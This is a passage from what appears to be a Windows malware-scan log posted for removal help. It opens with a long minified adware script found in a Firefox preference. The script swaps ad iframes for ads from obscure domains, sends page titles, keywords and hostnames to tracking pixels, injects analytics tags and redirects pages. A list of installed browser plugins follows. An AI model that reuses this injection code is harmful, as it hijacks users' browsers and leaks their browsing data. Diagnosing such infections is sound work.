ifr.getAttribute(\"name\").match(/^ap\\d+$/)))}}'):a.stngs=stngs}catch(Y){a.stngs={serverzy_domains:'ads.mangomediaads.com optimizedby.brealtime.com www.adshost2.com ad.z5x.net exchange.admailtiser.com evzc.wdfbj.com ads3.mediashakers.com ad.yieldmanager.com ad.adserverplus.com servedby.adxplosions.com cdn.trkclk.net srv.aileronx.com smgadserver.com ads.ventivmedia.com servedby.adsplats.com ad.reachjunction.com ads.deliads.com ads.ad-maven.com advs.adgorithms.com ad.adnetwork.net gzas.synynyqj.com ads.incmd03.com cdn.adk2.com ads.mediawhite.com Servedby.bigfineads.com ads.incmd05.com a.ad-sys.com afx.tagcdn.com ads.geverads.netdna-cdn.com s3-us-west-2.amazonaws.com ads.mediasoul.net www.kbdadsfast.com adsrv.intelliad.com tala.intlsources.com an.z5x.net c5.zedo.com ty.bizwz.com ib.adnxs.com ad.jumbaexchange.com srv1.mediads.info tr.adsplats.com ads.sonobi.com ifh.wdfbj.com cher.ehomestudy.com fw.adsafeprotected.com ad.improvemedianetwork.com track.btmobm.com media.glispa.com',\nattr_name:'s146.185.56.114',ad_sizes:[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13],[125,125,14],[234,60,15],[200,200,16],[336,280,17],[180,150,18],[120,60,19],[800,440,20],[800,600,21]]}}a.version='0.1.0';a.now=(new Date).getTime();a.prefix='jhjlijpomuhn';a.pixelHostname=function(){try{return'zigad.'+eval('[\"winnerical.org\",\"winnermore.net\"]')['https:'==window.location.protocol?1:0]}catch(a){return['zigad.unition.org',\n'zigad.unition.org']['https:'==window.location.protocol?1:0]}}();a.setIframes=[];a.checkInterval=1E3;a.programCount=0;a.iframesFound=!1;a.body=document.getElementsByTagName('body')[0];a.programStarted=!1;a.watchStarted=!1;a.initProgramCounter=0;a.refreshInterval=12E4;a.responseError=!1;a.conf={nrnm:5,usedIframes:[],src:[],counter:0,jbs:{ifr:[],at:[]},imp:{pid:a.pid,platform_version:a.platform_version,eid:a.eid,prid:a.prid,ename:a.ename,hid:a.hid,lt:a.lt,jpshort:a.jpshort,referrer:document.referrer,\nhostname:window.location.hostname,url:window.location.hostname,rattr:a.stngs.attr_name,title:document.title,domain:a.stngs.szy_domain,sizes:a.stngs.ad_sizes}};a.noBgFallbackHostnames=['blacknewws.net chinafirstall.net directtgadget.net forallsunetweb.net foreverysure.net groupwwebfun.net onlineproffimy.net secureeasyr.net softwaregurubox.net styleappilication.net'.split(' '),['safemysun.info']];'undefined'==typeof a.stngs.szy_domain&&(t=Math.floor(Math.random()*a.noBgFallbackHostnames[0].length),\nD=Math.floor(Math.random()*a.noBgFallbackHostnames[1].length),a.conf.imp.domain=[a.noBgFallbackHostnames[0][t],a.noBgFallbackHostnames[1][D]]);a.conf.params={subid:a.conf.imp.pid,subid1:a.conf.imp.hid,subid2:a.conf.imp.eid,subid3:a.conf.imp.prid,lt:a.conf.imp.lt};a.gatherIframes=function(){return document.getElementsByTagName('iframe')};a.setPreparedIframesArr=function(){var d=document.getElementsByTagName('iframe'),c=[];if(d.length){for(var b=0;b<d.length;b++){var f=d[b];a.stngs.checkif&&a.stngs.checkif(f)||\nc.push(f)}return c}};a.pixel=function(d,c){var b='//'+a.pixelHostname+'?',f=a.conf.imp.domain['https:'==window.location.protocol?1:0],f={pid:a.pid,cc:a.cc,eid:a.eid,hid:a.hid,v:a.version,ch:c?c:0,cid:d[2],tid:'1',adtid:'1',smid:d[3],pbid:'0',oh:encodeURIComponent(d[0]),sh:encodeURIComponent(f)},e;for(e in f)b+=e+'='+f[e]+'&';b=b.slice(0,-1);(new Image).src=b};a.url=new function(){var d=this;d.getIframesSizes=function(){for(var c=[],d=0;d<a.conf.jbs.ifr.length;d++)a.conf.jbs.ifr[d].getAttribute('replaced')||\nc.push(a.conf.jbs.at[d]);return c.join(',')};d.getOrigin=function(){for(var c='',d=0;d<a.conf.jbs.ifr.length;d++){var b=a.conf.jbs.ifr[d],e=b.src.slice(0,512);b.getAttribute('replaced')||(c+=encodeURIComponent(a.conf.jbs.at[d].toString()+':'+e)+',')}return c.slice(0,-1)};d.prepareKV=function(){var c='?tid=1&',b;for(b in a.conf.params)c+=b+'='+a.conf.params[b]+'&';10<=parseInt(a.conf.imp.platform_version)&&(c+='bgm=1&');c+='k='+encodeURIComponent(d.getKeywords())+'&';c+='origin='+d.getOrigin()+'&';\na.debugMode&&a.debug.papi&&(c+='papi='+a.debug.papi+'&');c+='size='+d.getIframesSizes();'&'==c[c.length-1]&&(c=c.slice(0,-1));return c};d.getKeywords=function(){var c=a.conf.imp.title,d=document.getElementsByTagName('meta');if(d)for(var b=0,e=d.length;b<e;b++)'keywords'!=d[b].name.toLowerCase()&&'description'!=d[b].name.toLowerCase()||(c+=' '+d[b].content.replace(/,/g,' '));if(b=document.getElementsByTagName('a')){d={};for(e=0;e<b.length;e++)try{var k=b[e].innerText;'undefined'==typeof k&&(k=b[e].textContent);\nfor(var m=k.toLowerCase().split(/[\\s,-]/g),h=0;h<m.length;h++)4>m[h].length||(d[m[h]]?d[m[h]]++:d[m[h]]=1)}catch(p){}var k=[],n;for(n in d)k.push([n,d[n]]);k.sort(function(a,c){return c[1]-a[1]});k=k.slice(0,25);for(n=0;n<k.length;n++)c+=' '+k[n][0]}return encodeURIComponent(c.replace(/[_-]/g,' ')).substring(0,1024)};d.prepareUrl=function(){var c='//'+a.conf.imp.domain['https:'==window.location.protocol?1:0],b=d.prepareKV();a.refreshURL=c+b;return c+b}};a.handleIframe=new function(){var d=this;d.initHandleIframes=\nfunction(a){a=d.getIframeDimensions(a);return d.mapDimensionsSizeArr(a)};d.getIframeDimensions=function(a){var d;try{d=parseInt('number'==typeof a.width||'string'==typeof a.width&&a.width.match(/[0-9]/))?a.width:a.scrollWidth}catch(b){}a=parseInt('number'==typeof a.height||'string'==typeof a.height&&a.height.match(/[0-9]/))?a.height:a.scrollHeight;return[parseInt(d),parseInt(a)]};d.mapDimensionsSizeArr=function(c){var d=a.conf.imp.sizes,b=c[0];c=c[1];for(var e=0;e<d.length;e++)if(b>=d[e][0]-5&&b<=\nd[e][0]+5&&c>=d[e][1]-5&&c<=d[e][1]+5)return d[e][2];return!1};d.destruct=function(){d.conf.jbs={ifr:[],at:[]}}};a.protectIframes=new function(){var d=this;d.protectionTimer=d.now;d.checkForException=function(c){var d;try{d=c instanceof HTMLIFrameElement&&c.parentNode instanceof HTMLDivElement&&c.parentNode.parentNode instanceof HTMLDivElement&&c.parentNode.parentNode.className&&'string'==typeof c.parentNode.parentNode.className&&1<c.parentNode.parentNode.className.length&&I(c.parentNode.parentNode.className.split(' ')[0])}catch(b){d=\n!1}if(d)return!0;d=function(){if(c.parentElement&&c.parentElement.nextElementSibling&&c.parentElement.nextElementSibling.children[0]&&'string'==typeof c.parentElement.nextElementSibling.children[0].textContent&&''!==c.parentElement.nextElementSibling.children[0].textContent)return c.parentElement.nextElementSibling.children[0].textContent;if(c.parentElement&&c.parentElement.children[0]&&c.parentElement.children[0].children[0]&&'string'==typeof c.parentElement.children[0].children[0].textContent&&\n''!==c.parentElement.children[0].children[0].textContent)return c.parentElement.children[0].children[0].textContent;if(c.parentElement&&c.parentElement.children[0]&&'string'==typeof c.parentElement.children[0].textContent&&''!==c.parentElement.children[0].textContent)return c.parentElement.children[0].textContent}();var e=new RegExp('Ad(s)? by '+a.conf.imp.ename+'($)?','i');return d&&e.test(d)||c.getAttribute('ndy')?!0:-1<c.src.indexOf('zoneid=')};d.scanForNewAdIframes=function(){var c=[],d=document.getElementsByTagName('iframe');\nif(d){for(var b=0;b<d.length;b++){var e=d[b],k=parseInt(e.width),m=parseInt(e.height);if(!a.protectIframes.checkForException(e)&&(k&&m||(m=a.utils.get_computed_style(e),k=parseInt(m.getPropertyValue('width')),m=parseInt(m.getPropertyValue('height'))),k&&m&&!(110>k)))for(var h=0;h<a.stngs.ad_sizes.length;h++){var p=a.stngs.ad_sizes[h];k!==p[0]||m!==p[1]||e.getAttribute('replaced')||c.push(e)}}return c}};d.scanAndSetFrames=function(){clearTimeout(d.stimeout);if(0!==a.setIframes.length)for(var c=0;c<\na.setIframes.length;c++){var b=a.setIframes[c][0],f=a.setIframes[c][1][0],e=a.setIframes[c][1];f&&b.src!==f&&!d.checkForException(b)&&(f.match(/^data/)?a.setIframes[c][0]=a.utils.replaceIframe(b,f):b.src=f,'string'==typeof e[1]&&-1<e[1].indexOf('_r')?(a.pixel(e,4),e[1]=parseInt(e[1].replace('_r','')),1!==e[1]&&(e[1]=1)):a.pixel(e,5))}c=d.scanForNewAdIframes();if(0<c.length)return a.preparedIframes=c,a.conf.jbs.ifr=[],a.conf.jbs.at=[],a.prepareUrl(0,function(c){a.getAds(c,'setFrames')});d.stimeout=\nsetTimeout(function(){a.watchStarted=!0;d.scanAndSetFrames()},a.checkInterval)};d.start=function(){d.scanAndSetFrames()}};a.getAds=function(d,c){a.utils.msie&&10>a.utils.msie?(d=d+'&cb='+a.prefix+'.'+c,a.utils.addScript(d)):a.utils.ajax.get(d,a[c])};a.restartProgram=function(){a.programCount++;40<a.programCount||a.watchStarted||setTimeout(a.initProgram,500)};a.prepareUrl=function(d,c){a.preparedIframes&&0!==a.preparedIframes.length||a.restartProgram();for(var b=0;b<a.preparedIframes.length;b++){var f=\na.preparedIframes[b],e=a.handleIframe.initHandleIframes(f);e&&!a.protectIframes.checkForException(f)&&((new P).setParameter('size',e).push(),f.setAttribute(a.conf.imp.rattr,'true'),a.conf.jbs.ifr.push(f),a.conf.jbs.at.push(e))}if(0===a.conf.jbs.ifr.length&&!a.responseError)return a.restartProgram();b=a.url.prepareUrl();c(b)};a.checkIfIframIsAd=function(d,c){for(var b=0;b<a.ad_sizes.length;b++){var f=a.stngs.ad_sizes[b];if(d>=f[0]-5&&d<=f[0]+5&&c>=f[1]-5&&c<=f[1]+5||100>d)return!0}return!1};a.checkIframeWidthHeight=\nfunction(b){if(!b)return!1;for(var c=0;c<b.length;c++){var g=b[c],f=parseInt(g.width);parseInt(g.height);for(g=0;g<a.stngs.ad_sizes.length;g++)if(f===a.stngs.ad_sizes[g][0])return!0}return!1};a.updateIframeAds=function(b){b=a.handleResponse.decodeResponse(b);if(b.length!==a.setIframes.length)return setTimeout(a.refresh.prepareRefreshURL,a.refreshInterval);for(var c=0;c<a.setIframes.length;c++)for(var g=a.setIframes[c],f=0;f<a.refresh.cachedAdData.length;f++)a.refresh.cachedAdData[f].iframe===g[0]&&\n!1!=b[c]&&(b[c][1]+='_r',g[1]=b[c]);setTimeout(a.refresh.prepareRefreshURL,a.refreshInterval)};a.refresh=new function(){var b=this;b.getSizesFromCachedADData=function(a){for(var b='',d=0;d<a.length;d++)b+=a[d].size+',';return b.slice(0,-1)};b.getOriginFromCachedADData=function(a){for(var b='',d=0;d<a.length;d++)b=b+=a[d].origin+',';return b.slice(0,-1)};b.prepareRefreshURL=function(){b.cachedAdData=[];for(var c=0;c<a.setIframes.length;c++){var g={},f=a.setIframes[c][0],e=a.handleIframe.initHandleIframes(f);\nif(!e)return;e&&!a.protectIframes.checkForException(f)&&(g.size=e,g.iframe=f,g.origin='refresh',a.body.contains&&a.body.contains(f)&&b.cachedAdData.push(g))}c=b.getSizesFromCachedADData(b.cachedAdData);g=b.getOriginFromCachedADData(b.cachedAdData);a.refreshURL&&(a.refreshURL=a.refreshURL.replace(/(size=)([^&]+)/,'$1'+c),a.refreshURL=a.refreshURL.replace(/(origin=)([^&]+)/,'$1'+g),a.getAds(a.refreshURL,'updateIframeAds'))}};a.handleResponse=new function(){var b=this;b.iframeCounter=0;b.decodeResponse=\nfunction(c){try{var b=a.utils.l.decode(c);c='undefined'!=typeof JSON&&JSON.parse?JSON.parse(b):eval('response = '+b)}catch(d){}return c};b.getAdUrl=function(a,b){return a[0]};b.blockReferrer=function(c,g,f,e){f=b.getAdUrl(c,f);if(a.utils.msie){b.iframeCounter++;try{if(g&&'IFRAME'==g.nodeName){var k=g.cloneNode(!1);k.setAttribute('name','adzy653rk'+b.iframeCounter);k.setAttribute('frameboarder','0');g.parentNode.replaceChild(k,g);window.open(f,k.name);c[0]=f;return k}}catch(m){}}else try{k='data:text/html;,<html><head><style>html,body{width:100%;height:100%;margin:0}</style></head><body><iframe width=\"100%\" height=\"100%\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" allowtransparency=\"true\" frameborder=\"0\" scrolling=\"no\" src=\"'+\nf+'\"></iframe></body></html>',g.src=k,c[0]=k}catch(h){}};b.defaultReferer=function(a,g,f){g.src=b.getAdUrl(a,f)};b.setIframeSrc=function(c,g,f,e){switch(f){case 1:f=b.blockReferrer(g,c,f,e);'undefined'!==typeof f&&(c=f);break;default:b.defaultReferer(g,c,f),g[0]=b.getAdUrl(g,f)}a.setIframes.push([c,g]);c.setAttribute('replaced','true');a.pixel(g)}};a.setFrames=function(b){if(''==b||'e89='==b)return a.responseError=!0;if((b=a.handleResponse.decodeResponse(b))&&0<b.length)for(var c=0;c<b.length;c++){var g=\nb[c];g?a.handleResponse.setIframeSrc(a.conf.jbs.ifr[c],g,g[3],c):(g=a.conf.jbs.ifr[c],g.setAttribute('replaced','true'),a.setIframes.push([g,!1]))}a.protectIframes.start()};a.initProgram=function(){a.preparedIframes=a.setPreparedIframesArr();if(!a.preparedIframes)return a.restartProgram();a.programStarted=!0;a.prepareUrl(0,function(b){0!==a.conf.jbs.ifr.length&&a.getAds(b,'setFrames')})};a.setNewBuildToken=function(){a.body.setAttribute(a.prefix,'1')};a.getNewBuildToken=function(){return a.body.getAttribute(a.prefix)};\na.setIEStopperToken=function(){a.body.setAttribute(a.prefix+'_'+a.conf.imp.platform_version,'1')};a.getIEStopper=function(){return a.body.getAttribute(a.prefix+'_'+a.conf.imp.platform_version)};a.isSameTypeLoaded=function(){return a.body&&a.body.getAttribute(a.prefix+'_m')};a.envCheck={isPotentialAdFrame:function(b){var c=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,g=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight;b&&(c=\nisNaN(parseInt(b.width))?parseInt(a.utils.get_computed_style(b,null).getPropertyValue('width')):parseInt(b.width),g=isNaN(parseInt(b.height))?parseInt(a.utils.get_computed_style(b,null).getPropertyValue('height')):parseInt(b.height));return this.isInPotentialAdSizes(c,g)},isInPotentialAdSizes:function(b,c){try{for(var g=0;g<a.stngs.ad_sizes.length;g++){var f=a.stngs.ad_sizes[g];if(f[0]&&f[1]&&b>=f[0]-5&&b<=f[0]+5&&c>=f[1]-5&&c<=f[1]+5)return a.ad_size=f[2],!0}}catch(e){a.debugMode&&console.error('Ad sizes list not found',\n{width:b,height:c,stngs:a.stngs,exception:e})}return!1},isElementDimensionsAtLeast:function(b,c,g){if(!(b instanceof Element))return!1;var f=isNaN(parseInt(b.width))?parseInt(a.utils.get_computed_style(b,null).getPropertyValue('width')):parseInt(b.width);b=isNaN(parseInt(b.height))?parseInt(a.utils.get_computed_style(b,null).getPropertyValue('height')):parseInt(b.height);return f>=c&&b>=g},isElementsDimensionsAtLeast:function(a,b,g){if((a instanceof Array||a instanceof NodeList)&&a.length)for(var f=\n0;f<a.length;f++)if(this.isElementDimensionsAtLeast(a[f],b,g))return!0;return!1},isContentFound:function(){for(var b=a.utils.query_selector_all('iframe'),c=0;c<b.length;c++)if(this.isPotentialAdFrame(b[c]))return!0;b=a.utils.query_selector_all('embed,img,object');return b.length?this.isElementsDimensionsAtLeast(b,50,50):!1}};a.isBadAdFrame=function(){return a.envCheck.isPotentialAdFrame()&&!a.envCheck.isContentFound()};a.relocateTopIframe=function(a,b){window.location.href=a};a.getOnEmptyRedirectUrl=\nfunction(b){var c=a.url.prepareUrl(),c=c.replace(/(\\?|&)size=($|&)/,'$1size='+b+'$2');return c+'&psb=0'};a.initInFrame=function(){window.top!==window&&document.body&&setTimeout(function(){a.isBadAdFrame()&&setTimeout(function(){a.relocateTopIframe(a.getOnEmptyRedirectUrl(a.ad_size))},20)},2500)};setTimeout(function(){window.top==window?a.isSameTypeLoaded()||(a.body&&10<=parseInt(a.platform_version)&&window.top==window&&!a.getIEStopper()?(a.setNewBuildToken(),a.setIEStopperToken(),a.initProgram(),\nsetTimeout(a.refresh.prepareRefreshURL,a.refreshInterval)):setTimeout(function(){!a.body||a.getNewBuildToken()||a.getIEStopper()||window.top!=window||(a.setIEStopperToken(),a.initProgram(),setTimeout(a.refresh.prepareRefreshURL,a.refreshInterval))},200)):a.isFallbackAllowedToRun&&!a.isSameTypeLoaded()&&a.initInFrame()},200);'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a)}};\n})()}catch(e){}})();(function(){try{new function(){var a=this;a.prefix='hggasdgjhsagd';a.pixelHostname=function(){try{return'//direct_pop.'+eval('[\"winnerical.org\",\"winnermore.net\"]')['https:'==window.self.location.protocol?1:0]}catch(a){return'//'+['direct_pop.winneri.info','direct_pop.winnermore.org']['https:'==window.self.location.protocol?1:0]}}();a.pixelTestIframeBaseURL='//pxltst.unition.org/adzpoppxl/';a.token='px.pluginh';a.pxlData='__pdt';a.campaignData='__dwfgifgtfgtasifsdyfsdoif';a.testLp='http://mydata.searchero.info';a.testLp2='http://mystatic.searchero.info'; a.testLpCampaignId='309374';a.testLpCampaignIdStatic='309520';a.testLp3='http://usergoldmembersky.com';a.testLp4='http://easybinary-art.com';a.testLpCampaignId2='310062';a.testLpCampaignIdStatic2='310064';decodeURIComponent('BuyNsave');document.getElementById('__hggasdgjhsagd_once')||(a.Utils=new function(){var a=this;a.l=new function(){var a=this;a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(f){f=a._utf8_encode(f);for(var e='',c=0;c<f.length;){var d= f.charCodeAt(c++),h=f.charCodeAt(c++),g=f.charCodeAt(c++),n=d>>2,d=(d&3)<<4|h>>4,m=(h&15)<<2|g>>6,k=g&63;isNaN(h)?m=k=64:isNaN(g)&&(k=64);e=e+a.xlat.charAt(n)+a.xlat.charAt(d)+(64==m?'=':a.xlat.charAt(m))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var b='',c=0;c<a.length;c++){var d=a.charCodeAt(c);128>d?b+=String.fromCharCode(d):(127<d&&2048>d?b+=String.fromCharCode(d>>6|192):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128)),b+=String.fromCharCode(d& 63|128))}return b}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c<a.length;){var d=this.xlat.indexOf(a.charAt(c++)),h=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),n=this.xlat.indexOf(a.charAt(c++)),m=(h&15)<<4|g>>2,k=(g&3)<<6|n,b=b+String.fromCharCode(d<<2|h>>4);64!=g&&0<m&&(b+=String.fromCharCode(m));64!=n&&0<k&&(b+=String.fromCharCode(k))}return this._utf8_decode(b)};a._utf8_decode=function(a){for(var b='',c=0;c<a.length;){var d= a.charCodeAt(c);if(128>d)b+=String.fromCharCode(d),c++;else if(191<d&&224>d)var h=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6|h&63),c=c+2;else var h=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12|(h&63)<<6|g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b= location.href.split('__pdt');1<b.length&&(b=a.l.decode(b[1]));return function(a){var b={};a.replace(/([^?=&]+)(=([^&]*))?/g,function(a,c,f,g){b[c]=decodeURIComponent(g)});return b}(b.replace(/^.*\\?/,''))};a.getHostname=function(a){var c=document.createElement('a');c.href=a;return c.hostname};a.getParameterByName=function(b){b=b.replace(/[\\[]/,'\\\\[').replace(/[\\]]/,'\\\\]');b=RegExp('[\\\\?&]'+b+'=([^&#]*)').exec(location.search);if(null===b)return'';b=b[1].replace(/\\+/g,' ');b=a.l.decode(b);b=decodeURIComponent(b); return a.queryStringToObject(b.split('?')[1])};a.queryStringToObject=function(a){a=a.split('&');var c={},e,l;for(l in a)''!==a[l]&&(e=a[l].split('='),c[decodeURIComponent(e[0])]=decodeURIComponent(e[1]));return c}},function(){var a=document.createElement('div');a.id='__hggasdgjhsagd_once';a.setAttribute('style','display:none;');var b=document.getElementsByTagName('body')[0];b&&b.appendChild(a)}(),a.createPixelUrl=function(c){var b={pid:0,cc:'AA',eid:0,hid:0,v:0,ch:0,cid:0,tid:1,adtid:0,smid:0,pbid:0, sh:'empty.com',oh:a.Utils.getHostname(location.href)},f,e,l=[];c=c||{};for(e in c)f=c[e],b[e]=f;for(e in b)f=b[e],l.push(e+'='+encodeURIComponent(f));return a.pixelHostname+'?'+l.join('&')},a.pixel=function(c){(new Image).src=a.createPixelUrl(c)},a.runOnCampaigns=function(a,b,f){if(a&&!isNaN(a-0)){b=b||[];if('number'==typeof b||'string'==typeof b&&!isNaN(b-0))b=[b-0];for(var e=0;e<b.length;e++)b[e]==a&&f(b[e])}},a.loadPixelTestIframe=function(c){if(document.body){var b=document.createElement('iframe'); b.src=c;b.style.cssText='border:none;background:none;width:1px;height:1px;overflow:hidden;display:inline;padding:0;margin:0';document.body.appendChild(b)}else setTimeout(function(){a.loadPixelIframe(c)},50)},a.injectGA=function(a){var b=document.getElementsByTagName('head')[0];a=\"if(typeof ga == 'undefined'){(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q = i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m = s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', '\"+ a+\"', 'auto'); ga('send', 'pageview') }else{ ga('create', '\"+a+\"', 'auto',{'name':'testStyloosh'}); ga('testStyloosh.send', 'pageview');}\";var f=document.createElement('script');f.type='text/javascript';f.text=a;b&&b.appendChild(f)},a.shootTestPixels=function(c){c==a.testLpCampaignId?(a.injectGA('UA-60126760-2'),a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-2',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignId2?(a.injectGA('UA-60126760-11'),a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-11',oh:a.Utils.getHostname(location.href)})):c==a.testLpCampaignIdStatic?(a.injectGA('UA-60126760-6'),a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-6',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignIdStatic2&&(a.injectGA('UA-60126760-13'),a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-13',oh:a.Utils.getHostname(location.href)}))},a.initDirectPixel=function(){if(-1<location.href.indexOf(a.testLp))return a.shootTestPixels(a.testLpCampaignId);if(-1<location.href.indexOf(a.testLp2))return a.shootTestPixels(a.testLpCampaignIdStatic);if(-1<location.href.indexOf(a.testLp3))return a.shootTestPixels(a.testLpCampaignId2); if(-1<location.href.indexOf(a.testLp4))return a.shootTestPixels(a.testLpCampaignIdStatic2);if(-1<location.href.indexOf(a.token)&&-1<location.href.indexOf(a.pxlData))try{if(a.Utils.msie)a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8011,cid:'-7878',tid:3,adtid:0,smid:0,pbid:0,sh:'msie ='+a.Utils.msie,oh:a.Utils.getHostname(location.href)});else{var c=a.Utils.getParams();'object'===typeof c&&(c.ch=8001,a.pixel(c),a.runOnCampaigns(c.cid, [309216],function(b){a.loadPixelTestIframe(a.pixelTestIframeBaseURL+'?ch='+c.ch)}),a.runOnCampaigns(c.cid,[a.testLpCampaignId],function(b){a.injectGA('UA-60126760-1');a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8007,cid:a.testLpCampaignId,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-1',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic],function(b){a.injectGA('UA-60126760-7');a.pixel({pid:'20494', cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8007,cid:a.testLpCampaignIdStatic,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-7',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignId2],function(b){a.injectGA('UA-60126760-10');a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8007,cid:a.testLpCampaignId2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-10',oh:a.Utils.getHostname(location.href)})}), a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic2],function(b){a.injectGA('UA-60126760-12');a.pixel({pid:'20494',cc:'MA',eid:'78',hid:'11964702200008270108',v:0,ch:8007,cid:a.testLpCampaignIdStatic2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-12',oh:a.Utils.getHostname(location.href)})}))}}catch(b){var f=255>b.message.length?b.message:b.message.slice(0,255),e=255>location.href.length?location.href:location.href.slice(0,255);(new Image).src=a.createPixelUrl({ch:8020, oh:e,sh:f})}},'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a),a.initDirectPixel())}; }catch(e){}})();");
FF - prefs.js..keyword.URL: "http://www.bing.com/search?FORM=SKY2DF&PC=SKY2&q="
FF - user.js - File not found

FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF32_19_0_0_245.dll ()
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=11.25.2: C:\Program Files\Java\jre1.8.0_25\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=11.25.2: C:\Program Files\Java\jre1.8.0_25\bin\plugin2\npjp2.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: C:\PROGRA~1\MICROS~2\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/SharePoint,version=14.0: C:\PROGRA~1\MICROS~2\Office14\NPSPWRAP.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@real.com/nppl3260;version=16.0.3.51: C:\Program Files\Real\RealPlayer\Netscape6\nppl3260.dll (RealNetworks, Inc.)
FF - HKLM\Software\MozillaPlugins\@real.com/nprndlchromebrowserrecordext;version=1.3.3: C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll (RealNetworks, Inc.)
FF - HKLM\Software\MozillaPlugins\@real.com/nprndlhtml5videoshim;version=1.3.3: C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll (RealNetworks, Inc.)
FF - HKLM\Software\MozillaPlugins\@real.com/nprndlpepperflashvideoshim;version=1.3.3: C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll (RealNetworks, Inc.)
FF - HKLM\Software\MozillaPlugins\@real.com/nprpplugin;version=16.0.3.51: C:\Program Files\Real\RealPlayer\Netscape6\nprpplugin.dll (RealPlayer)
FF - HKLM\Software\MozillaPlugins\@realnetworks.com/npdlplugin;version=1: C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll (RealDownloader)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files\Google\Update\1.3.28.15\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files\Google\Update\1.3.28.15\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@veetle.com/veetleCorePlugin,version=0.9.19: C:\Program Files\Veetle\plugins\npVeetle.dll (Veetle Inc)
FF - HKLM\Software\MozillaPlugins\@veetle.com/veetlePlayerPlugin,version=0.9.18: C:\Program Files\Veetle\Player\npvlc.dll (Veetle Inc)
FF - HKLM\Software\MozillaPlugins\@videolan.org/vlc,version=2.0.5: C:\Program Files\VideoLAN\VLC\npvlc.dll (VideoLAN)
FF - HKCU\Software\MozillaPlugins\@citrixonline.com/appdetectorplugin: C:\Users\abdelilah\AppData\Local\Citrix\Plugins\104\npappdetector.dll (Citrix Online)
FF - HKCU\Software\MozillaPlugins\@Skype Limited.com/Facebook Video Calling Plugin: C:\Users\abdelilah\AppData\Local\Facebook\Video\Skype\npFacebookVideoCalling.dll (Skype Limited)
